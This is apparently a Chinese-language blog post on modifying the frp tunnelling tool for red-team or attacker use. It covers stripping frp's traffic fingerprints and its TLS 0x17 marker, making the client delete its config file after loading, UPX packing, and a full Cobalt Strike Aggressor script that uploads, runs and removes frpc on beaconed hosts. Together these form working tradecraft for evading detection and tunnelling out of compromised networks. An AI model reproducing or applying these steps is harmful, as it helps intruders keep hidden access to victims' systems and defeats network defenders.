frp魔改记录

前言

此篇不是最终版,后续会重新整理测试完善

0x01 原理

https://blog.csdn.net/RivenDong/article/details/102872132

0x02 实战使用

0x03 修过记录

1.流量特征

路径:/pkg/msg/msg.go

img

上面得注释说的很清楚 当客户端连接时 会发送这些信息给服务端

img

可以按照这样修改其中的值

2.加密、压缩传输流量

frpc.ini中配置加上:

**use_encryption = true
**use_compression = true

如果公司内网防火墙对外网访问进行了流量识别与屏蔽,例如禁止了 ssh 协议等,通过设置 use_encryption = true,将 frpc 与 frps 之间的通信内容加密传输,将会有效防止流量被拦截。

如果传输的报文长度较长,通过设置 use_compression = true 对传输内容进行压缩,可以有效减小 frpc 与 frps 之间的网络流量,加快流量转发速度,但是会额外消耗一些 cpu 资源。

tls_enable = true

从 v0.25.0 版本开始 frpc 和 frps 之间支持通过 TLS 协议加密传输。通过在 frpc.ini 的 common 中配置 tls_enable = true 来启用此功能,安全性更高。
为了端口复用,frp 建立 TLS 连接的第一个字节为 0x17。
通过将 frps.ini 的 [common] 中 tls_only 设置为 true,可以强制 frps 只接受 TLS 连接。

注意: 启用此功能后除 xtcp 外,不需要再设置 use_encryption。

3.修改0x17特征

当使用tls加密的时候,观察流量有一个固定特征是 开头会发一个0x17

这里修改tls.go逻辑去特征:

0.37路径是/frp-0.37.0/pkg/util/net/tls.go

img

img

验证无问题

img

4. 隐藏frpc.ini 加载后删除

参考文章中提到三种方法

1.加上命令行参数

这种查命令其实还是容易被发现

2.远程加载配置文件

这样需要通过域名或者ip解析远程加载,也需要花时间隐藏

3.执行后删除frpc.ini

这种方法比直接在源码中写死更灵活,也能很有效的隐藏

步骤:

修改文件/frp/cmd/frpc/sub/root.go文件

加上变量

img

注册参数(默认true 直接删除,可以在配置文件中修改)

img

最下面的serverstart函数中加上

img

检查语法 无报错

img

5. 生成

直接运行目录下package.sh脚本 交叉编译生成 前提是go和gcc安装好

img

客户端运行后 frpc.ini 直接删除

img

img

0x04 CS插件联动frp

1.upx加壳

考虑到编译生成的frpc.exe比较大,传的有点费劲 就使用upx压缩加壳一下

img

也可以在linux中upx -9

(这里有些文章的大佬 还提到了upx加壳后修改特征,这个就是另一个研究方向了,本篇不深入了)

2.编写cna脚本

这里的脚本参考xq17师傅修改的。

我配置的是运行后自动删除ini文件,所以右键上传的时候 也把ini传上去

img

运行和删除部分,这里直接运行命令了就。删除部分,特地加了删除ini 如果没启动成功的话 也把ini文件删除 比较保险

img

popup beacon_bottom {
    menu "Frp Proxy"{
        item "Upload" {
            $bid = $1;
            $dialog = dialog("Upload frpc", %(UploadPath => "C:\\Windows\\Temp\\", bid => $bid), &upload);
            drow_text($dialog, "UploadPath",  "path: ");
            dbutton_action($dialog, "ok");
            dialog_show($dialog);
        }
        sub upload {
            # switch to specify path
            bcd($bid, $3['UploadPath']);
            bsleep($bid, 0 ,0);
            if (-is64 $bid['id']) {
                bupload($bid, script_resource("scripts/frpc.exe"));
		bupload($bid, script_resource("scripts/frpc.ini"));
            }else{
                bupload($bid, script_resource("scripts/frpc.ini"));
		bupload($bid, script_resource("scripts/frpc.exe"));
            }
            show_message("Executing cmmand!");
        }
        item "Run"{
            $bid = $1;
            $dialog = dialog("Run frpc", %(uri => "frpc.exe -c frpc.ini || remove the frpc.ini", bid => $bid), &run);
            drow_text($dialog, "uri",  "configURI: ");
            dbutton_action($dialog, "ok");
            dialog_show($dialog);
        }

        sub run{
            local('$Uri');
            $Uri =  $3['uri'];
            bshell($bid, "frpc.exe -c  frpc.ini ");
            show_message("Executing cmmand!");
            bsleep($bid, 5, 0);
        }

        item "Delete" {
            # local("bid");
            bshell($1, "taskkill /f /t /im frpc.exe &&  del /f /s /q frpc.exe");
	    bshell($1, "del /f /s /q frpc.ini");
        }
    }
}

}

3.同目录放frpc

这个目录下的scripts中放frpc.exe和frpc.ini,也可以修改脚本

然后cs客户端中直接加载cna即可

img

这里也可以利用cs目录中的agscript 在服务端加载cna脚本 ,或者远程加载,这样每个客户端就都能使用了

姿势多多

4.测试

img

默认是这个路径

img

测试3m大概需要50s

img

img

右键直接run

img

img

配置文件已删除

img

测试无问题

img

参考

https://f5.pm/go-28125.html

https://www.yuque.com/zirc0n/escbhg/xclhd4

https://uknowsec.cn/posts/notes/FRP%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92.html

https://uknowsec.cn/posts/notes/FRP%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92%E7%BB%AD.html

https://www.svenbeast.com/post/HUSusAA15/

https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649740618&idx=1&sn=f1d67aaeab34a0329c5b648c7982c143

posted @ 2022-01-27 00:11  N0r4h  阅读(2546)  评论(0编辑  收藏  举报